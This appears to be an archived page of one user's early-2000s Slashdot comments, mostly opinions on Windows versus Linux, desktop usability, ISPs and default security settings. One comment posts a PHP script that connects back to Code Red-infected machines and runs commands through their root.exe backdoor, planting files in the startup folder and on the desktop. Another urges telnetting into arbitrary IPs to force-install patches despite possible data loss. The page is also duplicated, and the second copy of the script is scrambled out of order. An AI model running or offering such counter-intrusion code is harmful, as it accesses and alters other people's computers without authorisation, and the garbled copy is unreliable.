My point exactly, which I softened at first to avoid flames:)
If it's harder to write worms, that makes unix more secure. But then there's the other side - the people who do manage to make a succesful worm will be able to make more dangerous worms.
The interesting thing about the article is that it implies that unix worms are written by very smart people, unlike the script kiddies who target windows. Maybe this means it's a bit harder to write a unix worm?
Now be careful slashdot staff, you could put out a site with that!
Re:Homogeny isn't a bad thing.
on
Windows in 2020
·
· Score: 2, Insightful
"[..] if it were our OS that "won" the great battle for the desktop"
The article's point is that homogeny is bad when there are problems with the operating system that everyone uses. A properly configured desktop system (take a few minutes to turn off unnecessary services and make a firewall! This could even be done by the installer!) can have a lot less security holes than windows (see the honeynet report) - and that's without a paranoid admin (like me - to set up apache to log CRII attacks I had to add the port forwarding to my router, set up the port in the firewall, and change the apache configuration file from a high port to 80 - and this is when the server is unlikely to be cracked, and I would take the same precautions if it was chrooted). On the server side, Apache dominates the market and rarely has security problems (i haven't been watching, but I can't recall any). If Microsoft would make an effort to reduce bugs and security holes, I would have no problems with Windows.
"Windows is (nowadays) far easier to deal with from a user's standpoint than Linux us"
Microsoft has done, overall, a good job with the UI, even if it has it's annoyances, but with the consumer versions of windows up to now, the UI rarely worked for extended periods of time. Also, the linux WMs and desktop environments may not have all MS's research money behind them, but they have a large number of features that make them much easier to use. For example, when I started using konqueror, I was annoyed to find that clicking the middle mouse button would take me to another page that I had recently visited. When I found out why it did that, I was amazed by the power this feature gave me (I can open a plain-text URL in a few seconds now). The Windows UIs may be easy to use for beginners, but that's where they end - everyone is brought down to the beginner level. The KDE and the programs have many features that are an annoyance until you figure them out, at which point each feature is almost a reason to fear having to go back to windows.
I believe these features are the result of the Open Source development model, where applications are frequently created so the author can use them. How many MS programmers are working on windows or office specifically so they can use them, and getting payed and releasing products are just side effects? I have seen this effect numerous times while working on my current OSS project. I will see something that looks good in concept but doesn't work in practice, or i'll notice something that's a bit long to do, and i'll fix it, adding a feature that will be useful in the future. At the current stage (alpha3), the number of features that I though of while using and debugging it probably approaches 50%. MS spends a lot of money to make it's products easier to use, but where they fail is in getting ideas to the developers. I've heard that many features in Office were requested by exactly one person, but Linux (for me, the KDE) has a large number of useful shortcuts that show you that all those cool ideas people have are actually being implemented. I know i'm leaving the topic a bit, but Windows and Office just lack all the shortcuts and tricks that i've found in the month i've been using Linux.
"I used to hate Microsoft simply because it was fun to, and not based on any real concrete observations"
I'm trying not to do this, but even if Microsoft solves all their stability problems (which they are doing) and their security problems (riiiiight), they still lack the shortcuts - that thing that I can't stop talking about. In Outlook, trying to alternate between reading a previewed message and scrolling the list of messages is a real pain - with KMail, I can do both simultaneously (N and P for message-list scrolling, arrow keys for viewing the message). Thanks to this, I don't even need to bother focusing on the message list of the preview to scroll. At MS, if a developer comes up with an idea for a feature, they probably have to submit it to the managers, who may see it as just a waste of time, which they don't have enough of, and refuse to allow it. With Open Source projects, a developer who comes up with a cool idea can implement it right away and complete it before anyone else knows, and it will show up in the next release to amaze users. Spending billions on UI research helps, but I still think nothing beats an efficient path from cool idea at 2 in the morning and implementation. Maybe this is only possible because the developers aren't forced to fit into a release schedule, so they can take their time making the best software i've seen so far.
"i'd be lying if I said Microsoft hadn't come a long way in the past year or two in improving the stability and usability of their OS offerings"
Windows XP sounds like a big improvement, but I don't think I could be bothered to install the release candidate that I have right here. Even without the activation, I wouldn't use it because I know it would cut into my efficiency. That is included in usability - i'd rather have a program that lets me move around fast than a program where I know all the commands and how to do everything.
"Had KDE and Gnome merged for the common good, and challenged Microsoft's stronghold on the desktop," they would have become a monopoly on the Linux desktop. I don't know if there is any competition between the developers themselves, but I'm pretty sure that they do want their project to be the best. Competition is good. Choice is good. A world with only Linux would be bad - not for me, i'm happy for now, but for other people who might preffer the look of applications of another OS (like Mac OS X). It must also create at least a little competition. The comercial developers (Apple and Microsoft) want to get a bigger market share, the open source developers (linux kernel) want to make a better alternative, and the Linux desktop environments want to be the best. They each pull in their own direction, and the harder they pull the better it is for us. Apart from the security risk, we can't accept a monopoly because the owner of the monopoly would have no need to innovate. Microsoft is doing this already - instead of making a better product they kill all the challengers. This is not good for the end users.
I've never considered Windows 9x to be worth anything, but with Linux I want to help support the developers, because there are many useful applications and features. Maybe if Windows was worth something to more people, they wouldn't have to worry so much about piracy. I think Microsoft is going after the symptoms instead of fixing the problem.
"OS homogeny is a wonderful thing if it's your OS they're talking about" homogeny is never good for us. I recently stopped using Evolution because the focusing system was worse than Outlook and it frequently lost my messages. If it was the only mail program, the developers could stop there, knowing everyone was using it. When there is diversity and competition, everyone benefits as they find what's best for them, and the really popular features are frequently spread to all platforms (when your competition comes up with a good idea, you can profit from it and implement it too).
"Ask yourself if your opinion on OS homogeny would be the same if Linux were king of the hill versus Windows"
No. I've already argued a bit too much on the desktop/usability side, let's look at security: IIS is very vulnerable, and should be removed from the Internet or treated as alpha software in my opinion, but even if Apache was uncrackable it shouldn't be the only server. For some people it will be too complicated, and for some people it will be too big. Someone who wouldn't think of contributing to one project might start their own and release it with an amazing new feature that is rapidly spread around and benefits everyone.
but anyways, back to what I was doing 45 minutes ago...:)
Re:the article forgot to mention...
on
Windows in 2020
·
· Score: 1
Hehe... speaking about blocking company names, I was playing max payne today when I got to a room with a TV... i went into graphic novel mode and it said "Aesir could become and even bigger monopoly than Mi*static*oft was". True story!
>It's definately a necessary and powerful aspect of *NIX, but ya gotta admit, isn't it kinda cold and scary?
I don't really understand why so many people are scared of a command prompt - especially if it's in a windows and you're still in X/explorer. Does the thought of reading 20 lines of text scare people to death? Or maybe they think it's easier to search their GUI menu for a program that to type it's name and press enter?
but the funniest is that being modded "insightful"
Re:We haven't done this yet..
on
Broadband Crackdown
·
· Score: 2, Insightful
Here's an idea: people who ask can get ports unblocked for free. That way you protect the idiots without restricting the people who want to run a real server.
I use sympatico, which doesn't block anything, but the funny this is that i've gotten more code red 1 attacks than code red 2 attacks (1 out of ~7) in the last few days.
Here's a safe alternative: make this php script 'default.ida' and configure apache appropriately. It places a warning in c:\, c:\my documents, c:\winnt\start menu\programs\startup and c:\winnt\desktop (trying to have everyone covered). It then logs the requests so you can email the administrators. (You will need to remove the extra spaces added by slash)
<?php
header("HTTP/1.0 400 You appear to be infected");
?>
<html>
<title>Red Alert
<?php
$fp =fsockopen($REMOTE_ADDR,80,$en,$es,5);
if (!$fp)
{
echo "I tried to warn you, but couldn't connect: $es ($en)";
}
else
{
fputs ($fp, "GET/scripts/root.exe?/c+echo+Danger:+you+are+infected +with+code+red+2.+Please+go+to+http://www.microsof t.com/Downloads/Release.asp?ReleaseID=30800+>+c:\\ a viruswarning.txt HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+echo+For+windows+NT4+use+http://www.microsoft.com/Downloads/Release.asp?Release ID=30833+or+to+prevent+future+worms+either+turn+of f+ISS+or+go+to>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+echo+http://www.apache.org+fo r+a+real+server.+You+can+contact+me+at+MYEMAILADDR ESS+This+is+an+automatic+warning+system+that+sends >> +c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+echo+you+this+warning+when+yo ur+server+attacks+mine+(of+course,+I+use+a+server+ that+isnt+vulnerable+to+so+many+attacks),+so+this+ message+was>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+echo+triggered+when+my+server +was+attacked.>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\mydocu~1 HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\desktop HTTP/1.0\r\n\r\n");
fputs ($fp, "GET/scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\startm~1\\programs\\sta rtup HTTP/1.0\r\n\r\n");
echo "I tried to warn you, and the server started to say:<h2>";
echo $res =fgets($fp,1024);
fclose($fp);
}
$log=fopen("/var/htdocs/logging/redalert.log","a") ;
fwrite($log,$REMOTE_ADDR . " " . date("r") . " ".$res );
fclose($log);
echo "</h2> $SERVER_SIGNATURE";
?>
This sounds like a fun passive attack, but how well would it stand up if you were sued? Sure, if you put up a script on your site to clean servers that's completely legal, but when you go out of your way to rename it in a way that will trigger it when a server tries to attack you that could be seen as an intentional attack (no better than going through your logs and manually cleaning each IP). btw, can anyone point me to one of these scripts?:)
Keep in mind that you talked to one person. Maybe this person has had a bad experince before. If you want them to add this, why not just send a quick email?
I doubt your ISP is incompatible with some OSes, they just don't tell you how to set them up. But that and more can be fixed with the Linksys Etherfast router - i has automatic connection/reconnection over PPPoE and a DHCP host that works with any OS supporting DHCP.
Wow. I get a full 1.5/384 for 45$ CDN a month (actually it's free, my parents pay). I seem to be one of the few people in the area who doesn't use PPPoE, but I have an etherfast router (which will fix any ISP/OS compatibility problems), and no, I didn't have pppoe before I got the router (although it's possible the DSL modem I have does it, but I never have to wait to get on)
grow your pr0n collection? augment your NJB usage? Someone already posted a request that will search for mp3s - just change mp3 to (xxx|harddcore|sex):)
just write a win2k.bat to install the patch, and write a perl script to telnet in to any IP and use it if possible. It might cause data loss, but if there is no other way to fix sysadmins, it should be done.
But WHY would they use passport exclusively? Why would they intentionally throw out their existing code to lose customers? Sure, the existing code might slow the passport integration process a bit when they could start from scratch, but the point is that it would be so easy to keep support for non-passport customers that even keeping 1 customer would justify it (and don't believe they are will throw out 100 customers when it would cost them nothing to keep them). ---
still, not supporting C# lessens their chances of having.NET based developers moving to Mono. It's like trying to get windows users to move to command-line Linux. ---
The biggest security problems are the "install everything" idea and the "default password idea". If, for example, my desktop machine was cracked and all my mp3s erased because I was running bind (no, i'm not), I would feel pretty stupid. We need the users to take the time to read the documentation (which has to be there) to be able to only install what they need.
Also, default passwords on anything that can be a gateway to system access - such as the default password on certain Red Hat servers that cause a problem a while ago - have to go. Even Mandrake Linux, which is made for new users, asks for passwords instead of saying "you root password is wordpass. If you ever find the time, you just might want to think about changing it, but it's ok if you don't".
Another thing computers need in their default install is more security. Why don't consumer operating systems come with firewall installed by default? Zone Alarm is an excellent firewall that I used on Windows that stealths the system (in fact, unless you specifically allow a program to act as a server, it will not even respond to incoming packets attempting to open a connection). It also asks you for permission to allow each application to access the internet, and uses checksums to make sure it's still the same program. The users also need to know more - yesterday my dad got asked to allow "scam32.exe" to access the Internet, and said yes. Although frequent updates (for those who can do it) would allow the program to detect known viruses and slow the infection rate, it's very hard to set up an automatic security system (of course, there is always the option of default-denying based on a list of known safe applications, but that would have to be a well-maintained and large list to satisfy all the users). --- btw, sorry for the bad paragraph spacing. Slash doesn't seem to understand that I want two line-breaks! ---
Slashdot Mirror
My point exactly, which I softened at first to avoid flames :)
If it's harder to write worms, that makes unix more secure. But then there's the other side - the people who do manage to make a succesful worm will be able to make more dangerous worms.
The interesting thing about the article is that it implies that unix worms are written by very smart people, unlike the script kiddies who target windows. Maybe this means it's a bit harder to write a unix worm?
Now be careful slashdot staff, you could put out a site with that!
"[..] if it were our OS that "won" the great battle for the desktop"
:)
The article's point is that homogeny is bad when there are problems with the operating system that everyone uses. A properly configured desktop system (take a few minutes to turn off unnecessary services and make a firewall! This could even be done by the installer!) can have a lot less security holes than windows (see the honeynet report) - and that's without a paranoid admin (like me - to set up apache to log CRII attacks I had to add the port forwarding to my router, set up the port in the firewall, and change the apache configuration file from a high port to 80 - and this is when the server is unlikely to be cracked, and I would take the same precautions if it was chrooted). On the server side, Apache dominates the market and rarely has security problems (i haven't been watching, but I can't recall any). If Microsoft would make an effort to reduce bugs and security holes, I would have no problems with Windows.
"Windows is (nowadays) far easier to deal with from a user's standpoint than Linux us"
Microsoft has done, overall, a good job with the UI, even if it has it's annoyances, but with the consumer versions of windows up to now, the UI rarely worked for extended periods of time. Also, the linux WMs and desktop environments may not have all MS's research money behind them, but they have a large number of features that make them much easier to use. For example, when I started using konqueror, I was annoyed to find that clicking the middle mouse button would take me to another page that I had recently visited. When I found out why it did that, I was amazed by the power this feature gave me (I can open a plain-text URL in a few seconds now). The Windows UIs may be easy to use for beginners, but that's where they end - everyone is brought down to the beginner level. The KDE and the programs have many features that are an annoyance until you figure them out, at which point each feature is almost a reason to fear having to go back to windows.
I believe these features are the result of the Open Source development model, where applications are frequently created so the author can use them. How many MS programmers are working on windows or office specifically so they can use them, and getting payed and releasing products are just side effects? I have seen this effect numerous times while working on my current OSS project. I will see something that looks good in concept but doesn't work in practice, or i'll notice something that's a bit long to do, and i'll fix it, adding a feature that will be useful in the future. At the current stage (alpha3), the number of features that I though of while using and debugging it probably approaches 50%. MS spends a lot of money to make it's products easier to use, but where they fail is in getting ideas to the developers. I've heard that many features in Office were requested by exactly one person, but Linux (for me, the KDE) has a large number of useful shortcuts that show you that all those cool ideas people have are actually being implemented. I know i'm leaving the topic a bit, but Windows and Office just lack all the shortcuts and tricks that i've found in the month i've been using Linux.
"I used to hate Microsoft simply because it was fun to, and not based on any real concrete observations"
I'm trying not to do this, but even if Microsoft solves all their stability problems (which they are doing) and their security problems (riiiiight), they still lack the shortcuts - that thing that I can't stop talking about. In Outlook, trying to alternate between reading a previewed message and scrolling the list of messages is a real pain - with KMail, I can do both simultaneously (N and P for message-list scrolling, arrow keys for viewing the message). Thanks to this, I don't even need to bother focusing on the message list of the preview to scroll. At MS, if a developer comes up with an idea for a feature, they probably have to submit it to the managers, who may see it as just a waste of time, which they don't have enough of, and refuse to allow it. With Open Source projects, a developer who comes up with a cool idea can implement it right away and complete it before anyone else knows, and it will show up in the next release to amaze users. Spending billions on UI research helps, but I still think nothing beats an efficient path from cool idea at 2 in the morning and implementation. Maybe this is only possible because the developers aren't forced to fit into a release schedule, so they can take their time making the best software i've seen so far.
"i'd be lying if I said Microsoft hadn't come a long way in the past year or two in improving the stability and usability of their OS offerings"
Windows XP sounds like a big improvement, but I don't think I could be bothered to install the release candidate that I have right here. Even without the activation, I wouldn't use it because I know it would cut into my efficiency. That is included in usability - i'd rather have a program that lets me move around fast than a program where I know all the commands and how to do everything.
"Had KDE and Gnome merged for the common good, and challenged Microsoft's stronghold on the desktop," they would have become a monopoly on the Linux desktop. I don't know if there is any competition between the developers themselves, but I'm pretty sure that they do want their project to be the best. Competition is good. Choice is good. A world with only Linux would be bad - not for me, i'm happy for now, but for other people who might preffer the look of applications of another OS (like Mac OS X). It must also create at least a little competition. The comercial developers (Apple and Microsoft) want to get a bigger market share, the open source developers (linux kernel) want to make a better alternative, and the Linux desktop environments want to be the best. They each pull in their own direction, and the harder they pull the better it is for us. Apart from the security risk, we can't accept a monopoly because the owner of the monopoly would have no need to innovate. Microsoft is doing this already - instead of making a better product they kill all the challengers. This is not good for the end users.
I've never considered Windows 9x to be worth anything, but with Linux I want to help support the developers, because there are many useful applications and features. Maybe if Windows was worth something to more people, they wouldn't have to worry so much about piracy. I think Microsoft is going after the symptoms instead of fixing the problem.
"OS homogeny is a wonderful thing if it's your OS they're talking about" homogeny is never good for us. I recently stopped using Evolution because the focusing system was worse than Outlook and it frequently lost my messages. If it was the only mail program, the developers could stop there, knowing everyone was using it. When there is diversity and competition, everyone benefits as they find what's best for them, and the really popular features are frequently spread to all platforms (when your competition comes up with a good idea, you can profit from it and implement it too).
"Ask yourself if your opinion on OS homogeny would be the same if Linux were king of the hill versus Windows"
No. I've already argued a bit too much on the desktop/usability side, let's look at security: IIS is very vulnerable, and should be removed from the Internet or treated as alpha software in my opinion, but even if Apache was uncrackable it shouldn't be the only server. For some people it will be too complicated, and for some people it will be too big. Someone who wouldn't think of contributing to one project might start their own and release it with an amazing new feature that is rapidly spread around and benefits everyone.
but anyways, back to what I was doing 45 minutes ago...
Hehe... speaking about blocking company names, I was playing max payne today when I got to a room with a TV... i went into graphic novel mode and it said "Aesir could become and even bigger monopoly than Mi*static*oft was". True story!
>It's definately a necessary and powerful aspect of *NIX, but ya gotta admit, isn't it kinda cold and scary?
I don't really understand why so many people are scared of a command prompt - especially if it's in a windows and you're still in X/explorer. Does the thought of reading 20 lines of text scare people to death? Or maybe they think it's easier to search their GUI menu for a program that to type it's name and press enter?
but the funniest is that being modded "insightful"
Here's an idea: people who ask can get ports unblocked for free. That way you protect the idiots without restricting the people who want to run a real server.
I use sympatico, which doesn't block anything, but the funny this is that i've gotten more code red 1 attacks than code red 2 attacks (1 out of ~7) in the last few days.
Here's a safe alternative: make this php script 'default.ida' and configure apache appropriately. It places a warning in c:\, c:\my documents, c:\winnt\start menu\programs\startup and c:\winnt\desktop (trying to have everyone covered). It then logs the requests so you can email the administrators. (You will need to remove the extra spaces added by slash) /scripts/root.exe?/c+echo+Danger:+you+are+infected +with+code+red+2.+Please+go+to+http://www.microsof t.com/Downloads/Release.asp?ReleaseID=30800+>+c:\\ a viruswarning.txt HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+echo+For+windows+NT4+use+http ://www.microsoft.com/Downloads/Release.asp?Release ID=30833+or+to+prevent+future+worms+either+turn+of f+ISS+or+go+to>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+echo+http://www.apache.org+fo r+a+real+server.+You+can+contact+me+at+MYEMAILADDR ESS+This+is+an+automatic+warning+system+that+sends >> +c:\\aviruswarning.txt HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+echo+you+this+warning+when+yo ur+server+attacks+mine+(of+course,+I+use+a+server+ that+isnt+vulnerable+to+so+many+attacks),+so+this+ message+was>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+echo+triggered+when+my+server +was+attacked.>>+c:\\aviruswarning.txt HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\mydocu~1 HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\desktop HTTP/1.0\r\n\r\n"); /scripts/root.exe?/c+copy+c:\\aviruswarning.txt+c: \\docume~1\\Administrator\\startm~1\\programs\\sta rtup HTTP/1.0\r\n\r\n");) ;
fwrite($log,$REMOTE_ADDR . " " . date("r") . " " .$res );
<?php
header("HTTP/1.0 400 You appear to be infected"); ?>
<html>
<title>Red Alert
<?php
$fp =fsockopen($REMOTE_ADDR,80,$en,$es,5);
if (!$fp)
{
echo "I tried to warn you, but couldn't connect: $es ($en)";
}
else
{
fputs ($fp, "GET
fputs ($fp, "GET
fputs ($fp, "GET
fputs ($fp, "GET
fputs ($fp, "GET
fputs ($fp, "GET
fputs ($fp, "GET
fputs ($fp, "GET
echo "I tried to warn you, and the server started to say:<h2>";
echo $res =fgets($fp,1024);
fclose($fp);
}
$log=fopen("/var/htdocs/logging/redalert.log","a"
fclose($log);
echo "</h2> $SERVER_SIGNATURE";
?>
This sounds like a fun passive attack, but how well would it stand up if you were sued? Sure, if you put up a script on your site to clean servers that's completely legal, but when you go out of your way to rename it in a way that will trigger it when a server tries to attack you that could be seen as an intentional attack (no better than going through your logs and manually cleaning each IP). btw, can anyone point me to one of these scripts? :)
After they are gone, I have no idea what I will do.
Set up your own?
Keep in mind that you talked to one person. Maybe this person has had a bad experince before. If you want them to add this, why not just send a quick email?
Not me! I get very cheap DSL (candian) at 1.5/384. If I payed nearly 200$/month, I could get 3Mbps/640Kbps with 8 static IPs.
I doubt your ISP is incompatible with some OSes, they just don't tell you how to set them up. But that and more can be fixed with the Linksys Etherfast router - i has automatic connection/reconnection over PPPoE and a DHCP host that works with any OS supporting DHCP.
Wow. I get a full 1.5/384 for 45$ CDN a month (actually it's free, my parents pay). I seem to be one of the few people in the area who doesn't use PPPoE, but I have an etherfast router (which will fix any ISP/OS compatibility problems), and no, I didn't have pppoe before I got the router (although it's possible the DSL modem I have does it, but I never have to wait to get on)
grow your pr0n collection? augment your NJB usage? Someone already posted a request that will search for mp3s - just change mp3 to (xxx|harddcore|sex) :)
"I'll move my piece to square A17..."
:*BEEP* Sorry, but you lost!"
just write a win2k .bat to install the patch, and write a perl script to telnet in to any IP and use it if possible. It might cause data loss, but if there is no other way to fix sysadmins, it should be done.
No chance. Remember, nothing is ever removed from slashdot, it's only added.
---
or, if you prefer:
l/p: fuckyou69g, fuckyourself
---
of course, if you substitute "deutch" for "english", you get a series of blank pages thar are slightly more informative.
---
But WHY would they use passport exclusively? Why would they intentionally throw out their existing code to lose customers? Sure, the existing code might slow the passport integration process a bit when they could start from scratch, but the point is that it would be so easy to keep support for non-passport customers that even keeping 1 customer would justify it (and don't believe they are will throw out 100 customers when it would cost them nothing to keep them).
---
still, not supporting C# lessens their chances of having .NET based developers moving to Mono. It's like trying to get windows users to move to command-line Linux.
---
The biggest security problems are the "install everything" idea and the "default password idea". If, for example, my desktop machine was cracked and all my mp3s erased because I was running bind (no, i'm not), I would feel pretty stupid. We need the users to take the time to read the documentation (which has to be there) to be able to only install what they need.
Also, default passwords on anything that can be a gateway to system access - such as the default password on certain Red Hat servers that cause a problem a while ago - have to go. Even Mandrake Linux, which is made for new users, asks for passwords instead of saying "you root password is wordpass. If you ever find the time, you just might want to think about changing it, but it's ok if you don't".
Another thing computers need in their default install is more security. Why don't consumer operating systems come with firewall installed by default? Zone Alarm is an excellent firewall that I used on Windows that stealths the system (in fact, unless you specifically allow a program to act as a server, it will not even respond to incoming packets attempting to open a connection). It also asks you for permission to allow each application to access the internet, and uses checksums to make sure it's still the same program. The users also need to know more - yesterday my dad got asked to allow "scam32.exe" to access the Internet, and said yes. Although frequent updates (for those who can do it) would allow the program to detect known viruses and slow the infection rate, it's very hard to set up an automatic security system (of course, there is always the option of default-denying based on a list of known safe applications, but that would have to be a well-maintained and large list to satisfy all the users).
---
btw, sorry for the bad paragraph spacing. Slash doesn't seem to understand that I want two line-breaks!
---